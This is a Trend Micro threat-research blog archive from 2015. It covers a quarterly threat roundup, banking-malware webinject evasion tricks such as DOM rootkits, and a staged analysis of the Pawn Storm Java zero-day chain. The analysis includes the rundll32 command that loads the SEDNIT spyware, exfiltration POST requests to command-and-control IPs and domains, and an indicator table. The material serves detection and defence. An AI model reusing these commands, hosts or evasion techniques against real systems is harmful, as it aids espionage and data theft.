Trend Micro Facebook TrendLabs Twitter Malware Blog RSS Feed You Tube - Trend Micro
Search our blog:


  • Mobile Vulnerabilities

  • Zero-Day Alerts

  • Recent Posts

  • Calendar

    September 2015
    S M T W T F S
    « Aug    
     12345
    6789101112
    13141516171819
    20212223242526
    27282930  
  • Email Subscription

  • About Us


    Author Archive - Trend Micro




    A supposed airline hack and other similar incidences this past quarter have made it clear: Attackers are finding more inventive ways to infiltrate and abuse existing technologies. This signals a rise in threats that go beyond just stealing data, and whose effects are more physical, evident, or close to home.

    Take for instance the increasing number of attacks involving routers and DNS changer detections, particularly in Brazil, which accounted for 81% of the total number of DNS changer detections in 2Q. Advancements in point-of-sale (PoS) malware continued to be a nuisance to businesses, yet its slight decline in 2Q could mean that the threat may be reaching its saturation point.


    Figure 1. There was a noticeable decrease in PoS threats for the second quarter of the year.

    This doesn’t mean that cybercriminals are abandoning their old operations. Traditional malware is still circulating, with basic malware components readily available for just about anyone to create his own malicious enterprise. The second quarter also shed some light on solo cybercriminal operations seen across the globe as evidenced by solo operations seen in Brazil and Canada.


    Figure 2. Solo cybercriminal operations were spotted in the second quarter.

    One of the more notable developments we saw was coordination across law enforcement agencies for public-private partnerships (PPP). Some law enforcement wins included botnet takedowns for longstanding operations and the indictment of Silk Road mastermind Ross Ulbricht.

    Government entities were the primary attack targets in the second quarter, with the OPM breach marking the biggest incident to date exposing more than 20 million records belonging to United States federal employees. Another big attack that continues to affect government entities until now is Operation Pawn Storm, which we saw targeting NATO members as well as the White House in April and even using a Java zero-day to attack governments this July.

    The Angler Exploit Kit creators aggressively integrated new exploits for Adobe® Flash® vulnerabilities. We have also seen a faster integration of these kits as evidenced by the high amount of Angler Exploit Kit-related detections in the second quarter. According to Deep Security Labs Director Pawan Kinger, “Enterprises must be very watchful of vulnerabilities in the core software and plug-ins that they use. Custom applications need customized checking. A good penetration test on custom applications always compensates for that.”

    As more and more public-facing technologies get developed for Internet connectivity, we are witnessing a recurrence in attacks that are more strongly felt. User online safety and privacy has never been more critical than now.

    Read our 2Q 2015 Security Roundup, A Rising Tide: New Hacks Threaten Public Technologies.

     


    Aug11
    11:47 pm (UTC-7)   |    by

    Detecting banking malware has become part and parcel of the security industry, so cybercriminals are continuously looking to gain the upper hand in the battle against the financial industry and security vendors. In the BlackHat presentation Winning the Online Banking War last August 5, Sean Park proposed the use of a new online banking security framework for banks and web app developers called “Malware Inject Prevention System.”

    The advent of ZeuS ignited the renaissance of banking Trojans a few years ago. The ZeuS source leak enabled the underground community to competitively develop new variants and even pushed the creation of fresh banking Trojan families such as Carberp. This boom of banking Trojans was possible because the ZeuS model was a modular approach that separates the malware from its money-stealing web application logic—which is called the ‘webinject’ or sometimes, ‘injects’ or ‘injections’. This enables cybercriminals to steal online banking customer credentials and to perform transaction manipulation and webinjects while bypassing two-factor authentication. (See also Automating Online Banking Fraud.)

    Although a significant part of the cat-and-mouse battle between the security industry and cybercriminals has to do with detecting the malware binary and evading detection, the detection of webinjects and the subsequent creation of evasion tactics has become a hot new battle ground between the banking industry and cybercriminals.

    Battling it out in the DOM space

    Currently, many security products and financial institutions rely on online banking page integrity checks to detect the presence of banking malware. This technique works due to the inherent mechanics of banking malware injecting itself into the browser’s Document Object Model (DOM) space. For instance, it is quite common for an online banking victim to give away the secure code when he encounters the message below during an online banking session.

    Figure 1. Sample webinject

    An HTML message that’s combined with a piece of JavaScript code injected by the banking malware renders the above screen. It is this injected JavaScript that many banks or vendors use as an artefact in order to detect the infected online banking session via DOM scan.

    However, this purely web-based DOM scan method can be subverted in many ways:

    • Exploiting invalid memory reference patterns

    The webinject can go undetected by exploiting invalid memory reference patterns. When the webinject removes its own script node from the DOM while its reference is kept elsewhere, it causes an invalid memory reference. This is because JavaScript’s garbage collector won’t be able to free the memory object whose reference count is positive. Using this technique, a webinject can register an event handler to an object within the online banking page, remove itself from DOM, and still remain “alive.” More importantly, the naïve script enumeration technique will not be able to see the removed script node.

    • Detection script evasion

    One of the major attack vectors in this threat environment is manipulating the detection script. Once the attackers reverse engineer the detection script, they can forge the intelligence transmitted by the detection script through a replay attack and manipulate the functions implemented by the detection script. This is possible because the banking malware has full visibility and access to all online banking web applications as well as the detection script. The attackers can insert their code at an arbitrary location, replace the detection script functions, or manipulate the detection code. This renders the detection script unable to perform its intended function, unless further remediation is taken.

    • Use of rootkits

    In the world of operating systems, rootkits allow malware to hide malicious components by intercepting the normal control flow of API functions. Rootkit are therefore another viable technique the fraudsters can take advantage of. The webinject can hook functions provided by DOM and the libraries (i.e. jQuery), and tamper with the information they return. This is what I call DOM rootkit (or JavaScript rootkit). For instance, evading the naïve script scan method is as easy as hooking getElementsByTagName DOM function and removing the malicious script from the list before it gets returned. Likewise, this rootkit technique can be applied to any functions used by the detection script. Therefore, it is critical that the detection script runs with a correct view of the operating environment (i.e., without any malicious code interfering with its control flow).

    The need for a paradigm shift

    Any complex code included in the detection script is fully exposed to the attacker. This makes it subject to reverse-engineering and subsequent evasion techiniques on the part of the cybercriminals. Defenders can defeat this by randomization of the detection script with algorithmically heterogeneous implementations with the goal of increasing the attack cost per randomization. In effect, the detection script is obfuscated from the attacker, and attempts to remove this obfuscation would impose a significant computational burden.

    The blind application of traditional metamorphism and polymorphism won’t help increase the difficulty of the attack. Carefully designed strategic defense mechanisms are necessary for each attack vector as described in the paper. In addition, it is critical to acquire a correct system view and ensure that existing defense mechanisms aren’t being subverted. Rootkit detection and code integrity checks can help here.

    Conclusion

    In the BlackHat paper, the author outlined the different stealth and evasion techniques that cybercriminals use and the appropriate defensive measures that the banking industry should implement. The author also introduced the creation of MIPS, a hypothetical online banking security framework that works in the web application level instead of the operating system level. This means that instead of trying to discover webinjects in the browser’s virtual memory space, MIPS attempts to find out the JavaScript and associated artefacts injected by the malware. The full presentation is available for download [PDF] at the BlackHat 2015 briefings page.

    Banks need to go through a rigid set of tests before any change is released, which can take up more time than a banking malware’s webinject release cycle. In order to win the online banking war, it is crucial to set up strategic defense rather than short term ad-hoc patching since the overall update structure is not in favor of the defenders in the online banking war.

    When it comes to addressing online banking malware, it is not enough to be reactive to incidents as they occur. Strategic planning and the use of multiple layers of defense can go a long way.

     
    Posted in Malware |



    Our monitoring of Operation Pawn Storm has led us to an interesting finding: the domain we previously reported hosting the Java 0-day used in the latest Pawn Storm campaign was modified to now lead to a Trend Micro IP address. Our investigations have shown that our systems have not been attacked or compromised. The attackers have simply redirected a DNS record to point to a Trend Micro IP address, likely in retaliation to our disclosure and the subsequent patching of the Orace Java zero-day vulnerability they were exploiting.

    PawnStorm

    Figure 1. Changes in the Pawn Storm infection chain

    The DNS A record of the domain ausameetings[.]com now points to 216.104.20.189, an IP address of Trend Micro. While it was serving the zero-day exploit, the IP address of ausameetings[.]com was 95[.]215[.]45[.]189.

    ausameetings_com_DNS_A

    Figure 2. DNS A record of ausameetings[.]com

    We are not sure when the domain was pointed to Trend Micro, but based from DNS record naming convention, it is most likely modified to point to Trend Micro yesterday, July 14.

    We do not have clear evidence that point to the cause behind these developments, but we see the following possible motives:

    • To serve as a form of retaliation by the Pawn Storm operators against Trend Micro for disclosing details about their most recent campaign
    • To mislead network administrators into associating our IP address to the attack, possibly causing admins to mistakenly block it
    • To deceive security researchers into thinking that the Trend Micro IP address is compromised or being misused by Operation Pawn Storm

    It bears stressing that we found no traces of compromise or misuse. We will continue to monitor this and update this post as soon as there are relevant developments.

    Operation Pawn Storm is a campaign known to specifically target government organizations. One of its most recent campaigns targeted NATO members as well as the White House.

    We first discovered the Java 0-day being used in Operation Pawn Storm late last week. Oracle released a security update to address the vulnerability yesterday, July 14.

     
    Posted in Targeted Attacks |



    Operation Pawn Storm is a campaign known to target military, embassy, and defense contractor personnel from the United States and its allies. The attackers behind Operation Pawn Storm have been active since at least 2007 and they continue to launch new campaigns.

    Over the past year or so, we have seen numerous techniques and tactics employed by this campaign, such as the use of an iOS espionage app, and the inclusion of new targets like the White House. Through our on-going investigation and monitoring of this targeted attack campaign, we found suspicious URLs that hosted a newly discovered zero-day exploit in Java now identified by Oracle as CVE-2015-2590. This is the first time in nearly two years that a new Java zero-day vulnerability was reported.

    The report below outlines the traffic observed as part of the attack, not the exploit itself. Our blog entry on how the exploit itself works can be found here. This blog entry is intended to help readers identify traffic in their network that would indicate if such an exposure had occurred. We strongly recommend that all readers roll out the Oracle patch as soon as possible

    Infection sequence

    Trend Micro has observed that an entity belonging to the target profile received an email that contains the following URL:

    • hxxp://ausameetings[.]com/url?={BLOCKED}/2015annualmeeting/

    It is worth noting that the spearphishing domain used is ausameetings[.]com, a play on the valid domain “ausameetings.org,” which is a site for AUSA’s (Association of the United States Army) annual exposition, commonly held in mid-October. The domain was only registered last July 8, which implies a one-time use for a specific set of targets.

    When assessing this URL, it was determined that the most probable infection sequence is:

    Figure 1. Infection chain

    Like all multi-stage infections, a successful execution of the previous stage is required before moving to the next stage down. In Stage 1, the sequence is initiated by clicking on the URL embedded within the victim’s spearphishing email.

    Once the Java exploit of Stage 1 is successful, it downloads the PE file (Stage 2). Once the PE file is downloaded and executed it drops and runs the DLL file (Stage 3) which is the final component to infect the machine with SEDNIT.

    The information that we have on each of these steps is as follows.
    Further information on each of these stages can be found in the sections below.

    Stage Type SHA1 File Name File Size Trend Micro Detection
    Stage 1 Java Exploit 95dc765700f5af406883
    d07f165011d2ff8dd0fb
    Spearphishing URL matching hxxp://ausameetings[.]com/url?=[a-zA-Z0-9]{7}/2015annualmeeting/ JAVA_DLOADR.EFD
    Stage 2 PE b4a515ef9de037f18d96
    b9b0e48271180f5725b7
    Drops as cormac.mcr

    End resulting file on host system as vhgg5hkvn25.exe
    1,619,968 bytes TROJ_DROPPR.CXC
    Stage 3 DLL 21835aafe6d46840bb69
    7e8b0d4aac06dec44f5b
    api-ms-win-downlevel-profile-l1-1-0.dll 40,960 bytes TSPY_SEDNIT.C

    Stage 1 – the Java exploit

    The first stage of the infection sequence comes through a targeted, spearphishing attempt against the victim, which is the observed method for Operation Pawn Storm attacks.

    The initial spearphishing URL is constructed similar to:

    • hxxp://ausameetings[.]com/url?=[a-zA-Z0-9]{7}/2015annualmeeting/

    The web pages on this domain that were found to drop the Java zero-day exploit include:

    • 1_2015annualmeeting index.htm (19,225 bytes) – detected as HTML_JNLPER.HAQ
    • 3_544306 index.htm (4,077 bytes) – detected as HTML_JNLPER.HAQ

    The network traffic observed for the infection sequence of this stage is:

    1. Send the initial POST as per the spearphishing email to ausameetings[.]com, which includes the 2015annualmeeting URI path.
    2. Send an encoded POST call, which, when decoded, is the variable to construct the subsequently used URI path. This is particularly interesting as it appears that each URI path on the malicious server is customized by the victim’s infection, rather than static on the web server.
    3. The victim machine then does a variety of GET calls to pull down JPG, JNLP, and Java class files.
    4. If the Java class files cannot be found on the primarily domain (ausameetings[.]com), it appears to instead attempt to get these files from a hardcoded IP (87[.]236[.]215[.]132).
    5. Once the class files are downloaded, the victim machine then does a GET call to fetch the file cormac.mcr. This file is the PE file for Stage 2.

    For completeness, the specific traffic calls observed relating to Stage 1 include the following:

    Result Protocol Host URL Size Content-Type
    200 HTTP ausameetings[.]com /url?={BLOCKED}/2015annualmeeting/ 19,225 text/html; charset=utf-8
    200 HTTP ausameetings[.]com /VFlmsRH/7311/4388/558923/?p2=KlW2HlMf&c=
    BMjNiBV&recr=Wr1mI7&p3=364397021&
    as=SAUmj&c=GY9oCdQ&
    22 text/html; charset=utf-8
    200 HTTP ausameetings[.]com /url/544036/ 4,077 text/html; charset=utf-8
    200 HTTP ausameetings[.]com /url/544036/line.jpg 22,500 text/html; charset=utf-8
    200 HTTP ausameetings[.]com /url/544036/right.jpg 97,247 text/html; charset=utf-8
    200 HTTP ausameetings[.]com /url/544036/init.jnlp 562 application/x-java-jnlp-file
    200 HTTP ausameetings[.]com /url/544036/ 4,077 text/html; charset=utf-8
    200 HTTP ausameetings[.]com /url/544036/jndi.properties 125 text/html; charset=utf-8
    404 HTTP ausameetings[.]com /url/544036/Go.class 0 text/html; charset=utf-8
    200 HTTP 87[.]236[.]215[.]132 /2/Go.class 1,373 text/html; charset=utf-8
    404 HTTP 87[.]236[.]215[.]132 /crossdomain.xml 0 text/html; charset=utf-8
    200 HTTP 87[.]236[.]215[.]132 /2/App.class 7,552 text/html; charset=utf-8
    200 HTTP 87[.]236[.]215[.]132 /2/Help.class 5,667 text/html; charset=utf-8
    200 HTTP 87[.]236[.]215[.]132 /2/PhantomSuper.class 763 text/html; charset=utf-8
    200 HTTP 87[.]236[.]215[.]132 /2/ArrayReplace.class 729 text/html; charset=utf-8
    200 HTTP 87[.]236[.]215[.]132 /2/App$PassHandleController.class 980 text/html; charset=utf-8
    200 HTTP 87[.]236[.]215[.]132 /2/Converter.class 2,820 text/html; charset=utf-8
    200 HTTP 87[.]236[.]215[.]132 /2/MyByteArrayInputStream.class 1,282 text/html; charset=utf-8
    404 HTTP 87[.]236[.]215[.]132 /2/pkg/None2.class 0 text/html; charset=utf-8
    404 HTTP 87[.]236[.]215[.]132 /2/pkg/None.class 0 text/html; charset=utf-8
    200 HTTP ausameetings[.]com /url/544036/cormac.mcr 1,619,968 application/octet-stream

    Trend Micro detects these Java class files as JAVA_DLOADR.EFD:

    • App.class (7,552 bytes)
    • Go.class (1,373 bytes)
    • Help.class (5,667 bytes)

    The second and third traffic calls in the traffic pattern are particularly interesting to note.


    Figure 2. Traffic patterns (click the image to enlarge)

    One can observe that the second call sends a POST to ausumeetings[.]com, and is returned with a text responsecfa that then subsequently is used as the URI path for the subsequent HTTP requests.

    Stage 2 – The PE file

    Stage 2 involves downloading a PE file. Trend Micro detects this file as TROJ_DROPPR.CXC. The primary purpose of this PE is to drop and load the DLL executable. It is downloaded as Cormac.mcr, but once extracted, the file name is converted into a randomized file name. It is installed into the %USERPROFILE% directory and then executed, creating a service by the same name.

    During its installation, a variety of other services also appear to be hooked, including lsass, lsm, and conhost, amongst others.


    Figure 3. Observed processes (click the image to enlarge)

    Once the malware is executed, it will drop the Stage 3 DLL file with filename api-ms-win-downlevel-profile-l1-1-0.dll in the %TEMP% directory. To load the malware, it executes rundll32.exe using the following command:

    • rundll32.exe “%temp%/api-ms-win-downlevel-profile-l1-1-0.dll”,init

    Stage 3 – The DLL file

    This third stage involves a DLL file, which we detect as TSPY_SEDNIT.C. When the PE file triggers the DLL (in this instance, %windir%\system32\RunDll32.exe Command: “%windir%\system32\RunDll32.exe ” “C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\ap i-ms-win-downlevel-profile-l1-1-0.dll”,init), the following traffic was observed.

    1 POST /ESL/YxF8bM/f/MFS.pdf/?duJ=OJYKZRlzy1tddcpaKjU= HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: www.google.com
    Content-Length: 0
    Note: Assumed to be a local connectivity test traffic call.
    2 POST /RGLw/ofEK/5w2a.htm/?6=9SpyZtTPs1iQybJZ54k= HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: 192[.]111[.]146[.]185
    Content-Length: 830
    3 POST /hP/Bo/S/2z.htm/?WDC=TJrXZm1/FlgpeRdZXjk= HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: www.google.com
    Content-Length: 0
    Note: Assumed to be a local connectivity test traffic call.
    4 POST /C9zl/LJ9.zip/?hP=mLgAZ7ldwVn9W8BYihs= HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: 192[.]111[.]146[.]185
    Content-Length: 0
    5 POST /k9/eR3/a/UE/eR.pdf/?bKC=xCCmnuXFZ6Chw2ah1oM= HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: 192[.]111[.]146[.]185
    Content-Length: 26

    It bears stressing that we do not encourage using the data presented above as IOCs for your own analysis. The network traffic generated by this stage was a challenge to assess as it appears to have polymorphic capabilities in the creation of URI paths utilized to pull down files. After assessing the samples multiple times, each network traffic infection sequence appeared to be different, no matter what sequence of testing was performed (e.g., same machine, different machines, different geographic IP space globally, etc.).

    After detailed network forensics of the traffic, it was determined that no single stable URL path or URI query component (URI path component, file name, or URI query parameter) showed a consistent pattern (either same entry nor regex definable pattern), and further reverse engineering was required to determine the methods used to achieve this.

    As a result of this additional analysis, it was determined that the URI path is a random generated string with the following pattern:

    • ^/([a-zA-Z0-9]{1,6}/){1,5}[a-zA-Z0-9]{1,7}\.(xml|pdf|htm|zip)/\?[a-zA-Z0-9]{1,3}=<Encoded ID>

    Figure 4. Regex expression

    Included in the POST request is a data encoded with Base64 and XOR encryption. The encoded data contains the following system information of the infected machine:

    • OS Version
    • List of running processes
    • Hard Disk Drive Information
    • Volume Serial Number

    TSPY_SEDNIT.C connects to three C&C servers:

    • 192[.]111[.]146[.]185 (direct to IP call)
    • www[.]acledit[.]com
    • www[.]biocpl[.]org

    After sending the encrypted data it will wait for a reply which is encrypted by the same algorithm above.

    Phase 2 of the attack: the keystroke logger

    Based on our investigation of Operation Pawn Storm, we know that the infection happens in two stages:

    • In phase 1, opening the email attachment or clicking on the malicious URI initiates the download of the first level dropper, which installs the downloader component (.DLL file).
    • In phase 2, the downloader component communicates with a C&C server and downloads other components, and at the end of the chain a keylogger is installer. The keylogger sends data back to the C&C server.

    As of writing, we have not succeeded in triggering Phase 2, which will download a fourth stage malware from the C&C servers. This fourth stage malware is expected to be an encrypted executable file.

    Victims of the Attack

    A number of victims were identified during the course of our investigation. The targets are in the United States or Canada, and those we were able to identify via IP are big defense contractors, as typical for Operation PawnStorm.

    Countermeasures

    Trend Micro is already able to protect users against this threat without any necessary updates. The existing Sandbox with Script Analyzer engine, which is part of Trend Micro™ Deep Discovery, can be used to detect this threat by its behavior. The Browser Exploit Prevention feature in the Endpoint Security in Trend Micro™ Smart Protection Suite detects the exploit once the user accesses the URL that hosted it. Our Browser Exploit Prevention detects user systems against exploits targeting browsers or related plugins.

    Vulnerability protection in Trend Micro Deep Security protects user systems from threats that may leverage this vulnerability with the following DPI rule:

    • 1006857 – Oracle Java SE Remote Code Execution Vulnerability

    Oracle has also provided a security patch for the related vulnerability.

    Indicators of Compromise

    The following table summarizes the identified stable IOCs that can be used to search for this attack. The “Precision” column indicates how close to the direct parameter the indicator is, inversely indicating likelihood of collateral false positives.

    Stage Type Indicator Precision
    Infection Sequence – Stage 1 Domain ausameetings[.]com High
    Infection Sequence – Stage 1 Domain_IP 95[.]215[.]45[.]189 Low
    Infection Sequence – Stage 1 IP 87[.]236[.]215[.]132 High
    Infection Sequence – Stage 1 URIPath_FileName ArrayReplace.class Medium
    Infection Sequence – Stage 1 URIPath_FileName App$PassHandleController.class Medium
    Infection Sequence – Stage 1 URIPath_FileName Converter.class Medium
    Infection Sequence – Stage 1 URIPath_FileName MyByteArrayInputStream.class Medium
    Infection Sequence – Stage 1 URIPath_FileName None2.class Medium
    Infection Sequence – Stage 1 URIPath_FileName None.class Medium
    Infection Sequence – Stage 1->2 URIPath_FileName cormac.mcr High
    Infection Sequence – Stage 3 192[.]111[.]146[.]185 High
    Infection Sequence – Stage 3 IP_DirectCall 37[.]187[.]116[.]240 High
    Infection Sequence – Stage 3 Domain www[.]acledit[.]com High
    Infection Sequence – Stage 3 Domain www[.]biocpl[.]org High

    Other posts related to Operation Pawn Storm can be found here:

    Updated on July 15, 2015, 9:57AM PDT (UTC-7) to include revised detection name for DLL file and clarifications to the infection flow.

    Updated on July 15, 2015, 1:15PM PDT (UTC-7) to include more details about the infection flow.

    Updated on July 16, 2015 1:36PM PDT (UTC-7) to include screenshots of running processes.

     



    Oracle has released its Critical Patch Update for the month of July. The update provides fixes for 193 new security vulnerabilities, including the recently announced zero-day vulnerability first reported by Trend Micro researchers. What makes the zero-day discovery more notable is that it is being used in an ongoing targeted attack campaign, Operation Pawn Storm. This particular vulnerability was designated as CVE-2015-2590.

    Trend Micro first came across this vulnerability (and exploit) as part of our ongoing investigations on Operation Pawn Storm. We found email messages  targeting a certain armed forces of a NATO country and a US defense organization contained these malicious URLs where the Java exploit is hosted. This exploit sets off a chain of malware infections that lead to its final payload: an information-stealing malware.

    More details about the connections between Pawn Storm and this vulnerability will be made available in an upcoming blog entry.

    We recommend users install the latest security fix from Java immediately.

    Trend Micro is already able to protect users against exploits targeting this vulnerability without any necessary updates. The existing Sandbox with Script Analyzer engine, which is part of Trend Micro™ Deep Discovery, can be used to detect this threat by its behavior. The Browser Exploit Prevention feature in the Endpoint Security in Trend Micro™ Smart Protection Suite detects the exploit once the user accesses the URL that hosted it. Our Browser Exploit Prevention detects user systems against exploits targeting browsers or related plugins.

    Vulnerability protection in Trend Micro Deep Security protects user systems from threats that may leverage this vulnerability with the following DPI rule:

    • 1006857 – Oracle Java SE Remote Code Execution Vulnerability
     
    Posted in Vulnerabilities |


     

    © Copyright 2013 Trend Micro Inc. All rights reserved. Legal Notice